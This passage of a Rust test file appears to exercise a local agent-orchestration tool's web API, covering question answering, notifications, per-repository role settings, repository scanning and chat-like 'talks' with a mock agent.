9363 env: Default::default(),
9364 prompt_delivery: None,
9365 }],
9366 ..Config::default()
9367 };
9368 let repo = fx.home.path().join("chat-repo");
9370 std::fs::create_dir_all(&repo).unwrap();
9371 let toml = repo.join("magi.toml");
9372 std::fs::write(&toml, "this is = = not toml").unwrap();
9373 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9374 let mut task = Task::new(
9375 "t".to_owned(),
9376 "Do it".to_owned(),
9377 PathBuf::from("/repo/magi"),
9378 Source::Agent {
9379 run: talk.id.clone(),
9380 node: crate::queue::CHAT_NODE.to_owned(),
9381 },
9382 );
9383 task.start("20260902-000000-beef".to_owned());
9384 fx.queue().put(&mut task).unwrap();
9385
9386 let path = format!("/api/questions/{id}/consult");
9387 let res = fx.post(&path, None).await;
9388 assert!(res.status >= 400, "{}", res.body);
9389 assert!(fx.questions().get(&id).unwrap().consult.is_none());
9390 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9391
9392 std::fs::write(&toml, "").unwrap();
9393 let res = fx.post(&path, None).await;
9394 assert_eq!(res.status, 202, "{}", res.body);
9395 assert!(fx.questions().get(&id).unwrap().consult.is_some());
9396 let q = fx.questions().get(&id).unwrap();
9397 assert!(q.status.open());
9398 assert!(q.answer.is_none());
9399 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9400 }
9401
9402 #[tokio::test]
9403 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9404 let fx = Fixture::start().await;
9405 let store = fx.questions();
9406 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9407 assert_eq!(
9408 fx.get("/api/health").await.json()["questions_needs_owner"],
9409 1
9410 );
9411
9412 let res = fx
9418 .post(
9419 &format!("/api/questions/{id}/say"),
9420 Some(r#"{"body":"why not Postgres?"}"#),
9421 )
9422 .await;
9423 assert_eq!(res.status, 200, "{}", res.body);
9424 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9425 assert_eq!(
9426 fx.get("/api/health").await.json()["questions_needs_owner"],
9427 0,
9428 "waiting on the agent is not waiting on the owner"
9429 );
9430
9431 let mut q = store.get(&id).expect("get");
9435 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9436 .expect("reply");
9437 store.put(&mut q).expect("put");
9438 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9439 assert_eq!(
9440 fx.get("/api/health").await.json()["questions_needs_owner"],
9441 1,
9442 "the agent's reply is what should light the banner back up"
9443 );
9444 }
9445
9446 #[tokio::test]
9447 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9448 let fx = Fixture::start().await;
9449 let store = fx.questions();
9450
9451 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9452 let res = fx
9453 .post(
9454 &format!("/api/questions/{empty_id}/say"),
9455 Some(r#"{"body":" "}"#),
9456 )
9457 .await;
9458 assert_eq!(res.status, 400, "{}", res.body);
9459
9460 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9461 let mut answered = store.get(&answered_id).expect("get");
9462 answered
9463 .answer(Answer::Choice("SQLite".to_owned()))
9464 .expect("answer");
9465 store.put(&mut answered).expect("put");
9466 let res = fx
9467 .post(
9468 &format!("/api/questions/{answered_id}/say"),
9469 Some(r#"{"body":"still there?"}"#),
9470 )
9471 .await;
9472 assert_eq!(res.status, 409, "{}", res.body);
9473
9474 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9475 let mut abandoned = store.get(&abandoned_id).expect("get");
9476 abandoned.abandon("timed out");
9477 store.put(&mut abandoned).expect("put");
9478 let res = fx
9479 .post(
9480 &format!("/api/questions/{abandoned_id}/say"),
9481 Some(r#"{"body":"still there?"}"#),
9482 )
9483 .await;
9484 assert_eq!(res.status, 409, "{}", res.body);
9485 }
9486
9487 #[tokio::test]
9488 async fn an_answer_the_question_does_not_offer_is_refused() {
9489 let fx = Fixture::start().await;
9490 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9491 let path = format!("/api/questions/{id}/answer");
9492
9493 for body in [
9494 r#"{"choice":"Postgres"}"#,
9495 r#"{"text":"whatever you think"}"#,
9496 r#"{"choice":"Redis","text":"both"}"#,
9497 r#"{}"#,
9498 ] {
9499 let res = fx.post(&path, Some(body)).await;
9500 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9501 assert!(res.json()["error"].is_string(), "{}", res.body);
9502 }
9503 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9505 }
9506
9507 #[tokio::test]
9508 async fn a_free_text_question_takes_text_and_not_a_choice() {
9509 let fx = Fixture::start().await;
9510 let id = ask(&fx, "What should the flag be called?", &[]);
9511 let path = format!("/api/questions/{id}/answer");
9512
9513 assert_eq!(
9514 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9515 400
9516 );
9517 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9518 assert_eq!(res.status, 200, "{}", res.body);
9519 assert_eq!(res.json()["answer"]["text"], "--json");
9520 }
9521
9522 #[tokio::test]
9523 async fn an_unknown_question_is_a_json_404() {
9524 let fx = Fixture::start().await;
9525 let res = fx
9526 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9527 .await;
9528 assert_eq!(res.status, 404, "{}", res.body);
9529 assert!(res.json()["error"].is_string());
9530 }
9531
9532 #[tokio::test]
9533 async fn notifications_list_read_dismiss_and_health_agree() {
9534 let fx = Fixture::start().await;
9535 let store = Notices::at(fx.home.path().join("notifications"));
9536 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9537 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9538
9539 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9540 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9541
9542 let health = fx.get("/api/health").await.json();
9543 assert_eq!(health["notifications_unread"], 2);
9544 assert_ne!(
9545 health["notifications_rev"], rev0,
9546 "the badge must move live"
9547 );
9548
9549 let listed = fx.get("/api/notifications").await.json();
9550 assert_eq!(listed["unread"], 2);
9551 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9552 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9553
9554 let read = fx
9555 .post(&format!("/api/notifications/{}/read", a.id), None)
9556 .await;
9557 assert_eq!(read.status, 200, "{}", read.body);
9558 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9559
9560 let gone = fx
9561 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9562 .await;
9563 assert_eq!(gone.status, 200, "{}", gone.body);
9564 let listed = fx.get("/api/notifications").await.json();
9565 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9566 assert_eq!(listed["unread"], 0);
9567
9568 store.raise(Notice::info("x", "again")).unwrap();
9569 let all = fx.post("/api/notifications/read-all", None).await;
9570 assert_eq!(all.status, 200, "{}", all.body);
9571 assert_eq!(all.json()["marked"], 1);
9572 assert_eq!(
9573 fx.get("/api/health").await.json()["notifications_unread"],
9574 0
9575 );
9576
9577 let missing = fx.post("/api/notifications/nope/read", None).await;
9578 assert_eq!(missing.status, 404, "{}", missing.body);
9579 assert!(missing.json()["error"].is_string());
9580 }
9581
9582 #[tokio::test]
9589 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9590 let f = Fixture::start().await;
9591
9592 let res = f
9593 .post(
9594 "/api/queue",
9595 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9596 )
9597 .await;
9598
9599 assert_eq!(
9600 res.status, 405,
9601 "POST /api/queue must not be a route: {}",
9602 res.body
9603 );
9604 assert!(
9605 f.queue().list().is_empty(),
9606 "a task filed by a route that does not exist must not reach the disk"
9607 );
9608 assert_eq!(f.get("/api/queue").await.status, 200);
9611 }
9612
9613 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9615 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9616 .expect("checkout dir");
9617 }
9618
9619 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9621
9622 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9623 let tmp = TempDir::new().expect("tempdir");
9624 let repo = tmp.path().join("repo");
9625 std::fs::create_dir_all(&repo).expect("repo dir");
9626 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9627 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9628 if let Some(text) = machine_toml {
9629 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9630 std::fs::write(&machine, text).expect("machine toml");
9631 }
9632 (tmp, repo, machine)
9633 }
9634
9635 async fn settings_checkout(path: &FsPath, text: &str) {
9636 std::fs::create_dir_all(path).unwrap();
9637 std::fs::write(path.join("magi.toml"), text).unwrap();
9638 for args in [
9639 vec!["init", "-b", "main"],
9640 vec!["add", "magi.toml"],
9641 vec![
9642 "-c",
9643 "user.name=Test",
9644 "-c",
9645 "user.email=test@example.invalid",
9646 "commit",
9647 "-m",
9648 "fixture",
9649 ],
9650 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9651 vec![
9652 "symbolic-ref",
9653 "refs/remotes/origin/HEAD",
9654 "refs/remotes/origin/main",
9655 ],
9656 ] {
9657 crate::git::git(path, &args).await.unwrap();
9658 }
9659 }
9660
9661 #[tokio::test]
9662 async fn settings_context_handlers_validate_and_save_without_a_socket() {
9663 let (tmp, repo, machine) =
9664 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9665 let root = tmp.path().join("roots");
9666 let selected = root.join("host/owner/selected");
9667 settings_checkout(
9668 &selected,
9669 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9670 )
9671 .await;
9672 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9673 let before = std::fs::read(&machine).unwrap();
9674 let ui = Arc::new(
9675 Ui::new(
9676 Queue::at(tmp.path().join("queue")),
9677 Questions::at(tmp.path().join("questions")),
9678 Talks::at(tmp.path().join("talks")),
9679 tmp.path().join("runs"),
9680 tmp.path().to_path_buf(),
9681 repo.clone(),
9682 )
9683 .with_machine_config(Some(machine.clone())),
9684 );
9685 let query = || {
9686 Query(SettingsQuery {
9687 repo: Some(selected.clone()),
9688 })
9689 };
9690 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9691 assert!(v.error.is_none(), "{:?}", v.error);
9692 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9693 assert_eq!(conductor.source, "repo");
9694 assert_eq!(
9695 conductor.machine_value,
9696 Some(toml::Value::String("a".into()))
9697 );
9698 assert!(!conductor.editable);
9699 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9700 assert_eq!(
9701 judges.count.as_ref().unwrap().machine_value,
9702 Some(toml::Value::Integer(1))
9703 );
9704 assert!(
9705 !v.roles
9706 .iter()
9707 .find(|r| r.key == "reviewers")
9708 .unwrap()
9709 .editable
9710 );
9711 let unknown = || {
9712 Query(SettingsQuery {
9713 repo: Some(tmp.path().to_path_buf()),
9714 })
9715 };
9716 assert_eq!(
9717 settings_get(State(ui.clone()), unknown())
9718 .await
9719 .unwrap_err()
9720 .status,
9721 StatusCode::UNPROCESSABLE_ENTITY
9722 );
9723 let body = || {
9724 Ok(Json(RolesBody {
9725 revision: v.revision.clone(),
9726 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9727 counts: Default::default(),
9728 }))
9729 };
9730 assert_eq!(
9731 settings_put_roles(State(ui.clone()), unknown(), body())
9732 .await
9733 .unwrap_err()
9734 .status,
9735 StatusCode::UNPROCESSABLE_ENTITY
9736 );
9737 assert_eq!(std::fs::read(&machine).unwrap(), before);
9738 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9739 .await
9740 .unwrap();
9741 assert_eq!(
9742 saved.repo,
9743 selected.canonicalize().unwrap().display().to_string()
9744 );
9745 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9746 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9747 let fresh = root.join("host/owner/fresh");
9749 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9750 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9751 .await
9752 .unwrap();
9753 assert_eq!(fresh_view.repositories.len(), 3);
9754 }
9755
9756 #[tokio::test]
9757 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9758 let (tmp, repo, machine) = settings_dirs(
9759 "[roles]\nreviewers = [\"a\"]\n",
9760 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9761 );
9762 let root = tmp.path().join("roots");
9763 let selected = root.join("host/owner/selected");
9764 settings_checkout(
9765 &selected,
9766 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9767 )
9768 .await;
9769 let broken = root.join("host/owner/broken");
9770 settings_checkout(&broken, "[roles\nbroken").await;
9771 let machine_text = format!(
9772 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9773 toml::Value::String(root.display().to_string())
9774 );
9775 std::fs::write(&machine, &machine_text).unwrap();
9776 let originals: Vec<_> = [&repo, &selected, &broken]
9777 .iter()
9778 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9779 .collect();
9780 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9781 let default = f.get("/api/settings").await.json();
9782 assert_eq!(
9783 default["repo"],
9784 repo.canonicalize().unwrap().display().to_string()
9785 );
9786 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9787 let query = format!("?repo={}", selected.display());
9788 let res = f.get(&format!("/api/settings{query}")).await;
9789 assert_eq!(res.status, 200, "{}", res.body);
9790 let v = res.json();
9791 assert!(v["error"].is_null(), "{v}");
9792 assert_eq!(v["repositories"], default["repositories"]);
9793 let role = |key: &str| {
9794 v["roles"]
9795 .as_array()
9796 .unwrap()
9797 .iter()
9798 .find(|r| r["key"] == key)
9799 .unwrap()
9800 };
9801 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9802 assert_eq!(role("advisors")["source"], "repo");
9803 assert_eq!(role("advisors")["editable"], false);
9804 assert!(role("advisors")["machine_value"].is_null());
9805 assert_eq!(role("judges")["count"]["value"], 2);
9806 assert_eq!(role("judges")["count"]["machine_value"], 1);
9807 assert_eq!(role("judges")["count"]["source"], "repo");
9808 let source = role("judges")["count"]["source_path"].as_str().unwrap();
9809 assert!(
9810 source.contains("origin/main") && !source.contains("magi/config/"),
9811 "{source}"
9812 );
9813 assert_eq!(
9814 role("reviewers")["editable"],
9815 false,
9816 "default context outside roots must protect its declarations"
9817 );
9818 let body =
9819 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9820 let unknown = format!("?repo={}", tmp.path().display());
9821 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9822 assert_eq!(
9823 f.put(&format!("/api/settings/roles{unknown}"), &body)
9824 .await
9825 .status,
9826 422
9827 );
9828 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9829 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9830 .to_string();
9831 assert_eq!(
9832 f.put(&format!("/api/settings/roles{query}"), &refuse)
9833 .await
9834 .status,
9835 422
9836 );
9837 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9838 assert_eq!(saved.status, 200, "{}", saved.body);
9839 assert_eq!(saved.json()["repo"], v["repo"]);
9840 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9841 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9842 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9843 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9844 }
9845 let error = f
9846 .get(&format!("/api/settings?repo={}", broken.display()))
9847 .await;
9848 assert_eq!(error.status, 200);
9849 assert!(error.json()["error"]["message"].is_string());
9850 assert_eq!(error.json()["repositories"], default["repositories"]);
9851 }
9852
9853 #[tokio::test]
9854 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9855 let (_tmp, repo, machine) =
9856 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9857 let f = Fixture::with_repo_and_machine(repo, machine).await;
9858 let res = f.get("/api/settings").await;
9859 assert_eq!(res.status, 200, "{}", res.body);
9860 let v = res.json();
9861 assert!(v["error"].is_null(), "{v}");
9862 let role = |k: &str| {
9863 v["roles"]
9864 .as_array()
9865 .and_then(|r| r.iter().find(|x| x["key"] == k))
9866 .cloned()
9867 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9868 };
9869 assert_eq!(role("judges")["source"], "machine");
9870 assert_eq!(role("judges")["editable"], true);
9871 assert_eq!(role("implementers")["source"], "default");
9872 let adv = role("advisors");
9873 assert_eq!(adv["fallback"], "judges");
9874 assert!(
9875 adv["seats"]
9876 .as_array()
9877 .is_some_and(|s| s.iter().all(|x| x == "b")),
9878 "{adv}"
9879 );
9880 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9881 assert_eq!(v["agents"][0]["source"], "repo");
9882 }
9883
9884 #[tokio::test]
9885 async fn settings_get_reports_a_config_that_does_not_parse() {
9886 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9887 let f = Fixture::with_repo_and_machine(repo, machine).await;
9888 let res = f.get("/api/settings").await;
9889 assert_eq!(res.status, 200, "{}", res.body);
9890 let v = res.json();
9891 assert!(v["error"]["message"].is_string(), "{v}");
9892 assert!(
9893 v["error"]["path"]
9894 .as_str()
9895 .is_some_and(|p| p.ends_with("magi.toml")),
9896 "{v}"
9897 );
9898 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9899 }
9900
9901 #[tokio::test]
9902 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9903 let (_tmp, repo, machine) = settings_dirs(
9904 SETTINGS_AGENTS,
9905 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9906 );
9907 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9908 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9909 let rev = f.get("/api/settings").await.json()["revision"]
9910 .as_str()
9911 .expect("revision")
9912 .to_owned();
9913 let body = serde_json::json!({
9914 "revision": rev,
9915 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9916 })
9917 .to_string();
9918 let res = f.put("/api/settings/roles", &body).await;
9919 assert_eq!(res.status, 200, "{}", res.body);
9920 let text = std::fs::read_to_string(&machine).expect("machine");
9921 assert_eq!(
9922 text,
9923 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9924 );
9925 assert_eq!(
9926 std::fs::read(repo.join("magi.toml")).expect("read"),
9927 repo_before
9928 );
9929 let again = f.get("/api/settings").await.json();
9930 let judges = again["roles"]
9931 .as_array()
9932 .expect("roles")
9933 .iter()
9934 .find(|r| r["key"] == "judges")
9935 .expect("judges")
9936 .clone();
9937 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9938 let stale = f.put("/api/settings/roles", &body).await;
9940 assert_eq!(stale.status, 409, "{}", stale.body);
9941 }
9942
9943 #[tokio::test]
9944 async fn settings_counts_are_reported_and_saved() {
9945 let (_tmp, repo, machine) = settings_dirs(
9946 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9947 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9948 );
9949 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9950 let v = f.get("/api/settings").await.json();
9951 let count = |v: &serde_json::Value, k: &str| {
9952 v["roles"]
9953 .as_array()
9954 .and_then(|r| r.iter().find(|x| x["key"] == k))
9955 .map(|x| x["count"].clone())
9956 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9957 };
9958 let imp = count(&v, "implementers");
9959 assert_eq!(imp["value"], 2);
9960 assert_eq!(imp["source"], "machine");
9961 assert_eq!(imp["file_key"], "candidates");
9962 assert_eq!(imp["roster_len"], 2);
9963 assert_eq!(imp["backups"], 0);
9964 assert_eq!(count(&v, "judges")["source"], "default");
9965 assert_eq!(count(&v, "advisors")["min"], 0);
9966 assert_eq!(count(&v, "reviewers")["editable"], false);
9967 assert!(
9968 count(&v, "reviewers")["locked_reason"]
9969 .as_str()
9970 .is_some_and(|m| m.contains("graph.reviewers"))
9971 );
9972 assert!(count(&v, "fixer").is_null());
9973 let rev = v["revision"].as_str().expect("revision").to_owned();
9974 let body = serde_json::json!({
9975 "revision": rev,
9976 "roles": { "judges": ["b"] },
9977 "counts": { "implementers": 1, "advisors": 0 }
9978 })
9979 .to_string();
9980 let res = f.put("/api/settings/roles", &body).await;
9981 assert_eq!(res.status, 200, "{}", res.body);
9982 let text = std::fs::read_to_string(&machine).expect("machine");
9983 assert_eq!(
9984 text,
9985 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9986 );
9987 let after = f.get("/api/settings").await.json();
9988 assert_eq!(count(&after, "implementers")["value"], 1);
9989 assert_eq!(count(&after, "implementers")["backups"], 1);
9990 assert_eq!(count(&after, "advisors")["value"], 0);
9991 let before = std::fs::read_to_string(&machine).expect("machine");
9992 let rev = after["revision"].as_str().expect("revision").to_owned();
9993 for counts in [
9994 serde_json::json!({ "judges": 0 }),
9995 serde_json::json!({ "judges": "x" }),
9996 serde_json::json!({ "judges": 2.5 }),
9997 serde_json::json!({ "judges": -1 }),
9998 serde_json::json!({ "reviewers": 3 }),
9999 serde_json::json!({ "bogus": 3 }),
10000 ] {
10001 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10002 let res = f.put("/api/settings/roles", &body).await;
10003 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10004 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10005 }
10006 }
10007
10008 #[tokio::test]
10009 async fn settings_put_refuses_without_touching_the_file() {
10010 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10011 let (_tmp, repo, machine) = settings_dirs(
10012 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10013 Some(machine_text),
10014 );
10015 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10016 let rev = f.get("/api/settings").await.json()["revision"]
10017 .as_str()
10018 .expect("revision")
10019 .to_owned();
10020 for roles in [
10021 serde_json::json!({ "judges": ["nope"] }),
10022 serde_json::json!({ "reviewers": ["b"] }),
10023 serde_json::json!({ "bogus": ["a"] }),
10024 ] {
10025 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10026 let res = f.put("/api/settings/roles", &body).await;
10027 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10028 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10029 assert_eq!(
10030 std::fs::read_to_string(&machine).expect("machine"),
10031 machine_text
10032 );
10033 }
10034 }
10035
10036 #[tokio::test]
10037 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10038 let tmp = TempDir::new().expect("tempdir");
10039 let repo = tmp.path().join("repo");
10040 std::fs::create_dir_all(&repo).expect("repo dir");
10041 let root = tmp.path().join("root");
10042 make_checkout(&root, "github.com", "yukimemi", "magi");
10043 std::fs::write(
10044 repo.join("magi.toml"),
10045 format!(
10046 "[repos]\nroots = [{:?}]\n",
10047 root.to_string_lossy().into_owned()
10048 ),
10049 )
10050 .expect("write magi.toml");
10051
10052 let f = Fixture::with_repo(repo).await;
10053 let res = f.get("/api/repos").await;
10054 assert_eq!(res.status, 200, "{}", res.body);
10055 let list = res.json();
10056 let repos = list.as_array().expect("an array");
10057 assert_eq!(repos.len(), 1);
10058 assert_eq!(repos[0]["name"], "yukimemi/magi");
10059 assert!(
10060 repos[0]["path"]
10061 .as_str()
10062 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10063 "{list}"
10064 );
10065 }
10066
10067 #[tokio::test]
10068 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10069 let tmp = TempDir::new().expect("tempdir");
10070 let repo = tmp.path().join("repo");
10071 std::fs::create_dir_all(&repo).expect("repo dir");
10072 let root = tmp.path().join("root");
10073 make_checkout(&root, "github.com", "yukimemi", "magi");
10074 std::fs::write(
10075 repo.join("magi.toml"),
10076 format!(
10077 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10078 root.to_string_lossy().into_owned()
10079 ),
10080 )
10081 .expect("write magi.toml");
10082
10083 let f = Fixture::with_repo(repo).await;
10084 let first = f.get("/api/repos").await;
10085 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10086
10087 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10090 let second = f.get("/api/repos").await;
10091 assert_eq!(
10092 second.json().as_array().map(Vec::len),
10093 Some(1),
10094 "a fresh cache must not rescan inside the TTL"
10095 );
10096
10097 let refreshed = f.get("/api/repos?refresh=1").await;
10098 assert_eq!(
10099 refreshed.json().as_array().map(Vec::len),
10100 Some(2),
10101 "an explicit refresh must rescan even inside the TTL"
10102 );
10103 }
10104
10105 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10111
10112 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10116 let tmp = TempDir::new().expect("tempdir");
10117 let repo = tmp.path().join("repo");
10118 std::fs::create_dir_all(&repo).expect("repo dir");
10119 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10120 let f = Fixture::with_repo(repo.clone()).await;
10121 (tmp, repo, f)
10122 }
10123
10124 #[tokio::test]
10125 async fn posting_a_talk_with_remembered_choices_is_soft() {
10126 let (_tmp, _repo, f) = talk_fixture().await;
10127
10128 let good = f
10129 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10130 .await;
10131 assert_eq!(good.status, 201, "{}", good.body);
10132 assert_eq!(good.json()["persona"], "rei");
10133
10134 let stale = f
10136 .post(
10137 "/api/talks",
10138 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10139 )
10140 .await;
10141 assert_eq!(stale.status, 201, "{}", stale.body);
10142 let v = stale.json();
10143 assert_eq!(v["implementers"], 1);
10144 assert_ne!(v["persona"], "nobody");
10145 let typed = f
10146 .post(
10147 "/api/talks",
10148 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10149 )
10150 .await;
10151 assert_eq!(typed.status, 201, "{}", typed.body);
10152
10153 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10155 assert!(
10156 !strict.status.to_string().starts_with('2'),
10157 "{}",
10158 strict.body
10159 );
10160 }
10161
10162 #[tokio::test]
10163 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10164 let (_tmp, _repo, f) = talk_fixture().await;
10165
10166 let opened = f.post("/api/talks", None).await;
10169 assert_eq!(opened.status, 201, "{}", opened.body);
10170 let body = opened.json();
10171 assert_eq!(body["status"], "open");
10172 assert_eq!(
10173 body["turns"].as_array().unwrap().len(),
10174 0,
10175 "opening takes no agent turn: there is nothing yet to answer"
10176 );
10177
10178 let also_opened = f.post("/api/talks", Some("{}")).await;
10180 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10181
10182 let listed = f.get("/api/talks").await.json();
10183 assert_eq!(listed.as_array().unwrap().len(), 2);
10184 }
10185
10186 #[tokio::test]
10187 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10188 let tmp = TempDir::new().expect("tempdir");
10189 let repo = tmp.path().join("repo");
10190 std::fs::create_dir_all(&repo).expect("repo dir");
10191 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10192 std::fs::write(
10193 repo.join("magi.toml"),
10194 format!("{MOCK_AGENT_TOML}\n{second}"),
10195 )
10196 .expect("write magi.toml");
10197 let home = TempDir::new().expect("temp home");
10198 let talks = Talks::at(home.path().join("talks"));
10199 let ui = Arc::new(
10200 Ui::new(
10201 Queue::at(home.path().join("queue")),
10202 Questions::at(home.path().join("questions")),
10203 talks.clone(),
10204 home.path().join("runs"),
10205 home.path().to_path_buf(),
10206 repo.clone(),
10207 )
10208 .with_worktrees_root(home.path().join("wt")),
10209 );
10210 let cfg = config_for(&repo).await.expect("discover config");
10211 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10212 let id = talk.id.clone();
10213 let call = |agent: &str| {
10214 talk_agent(
10215 State(Arc::clone(&ui)),
10216 Path(id.clone()),
10217 Json(TalkAgent {
10218 agent: agent.to_owned(),
10219 }),
10220 )
10221 };
10222
10223 let unknown = call("nobody").await.expect_err("unknown agent");
10224 assert_eq!(
10225 unknown.status,
10226 StatusCode::BAD_REQUEST,
10227 "{}",
10228 unknown.message
10229 );
10230
10231 {
10232 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10235 let busy = call("second").await.expect_err("busy talk");
10236 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10237 assert!(
10238 busy.message.contains("a talk turn is running"),
10239 "{}",
10240 busy.message
10241 );
10242 drop(guard);
10243 }
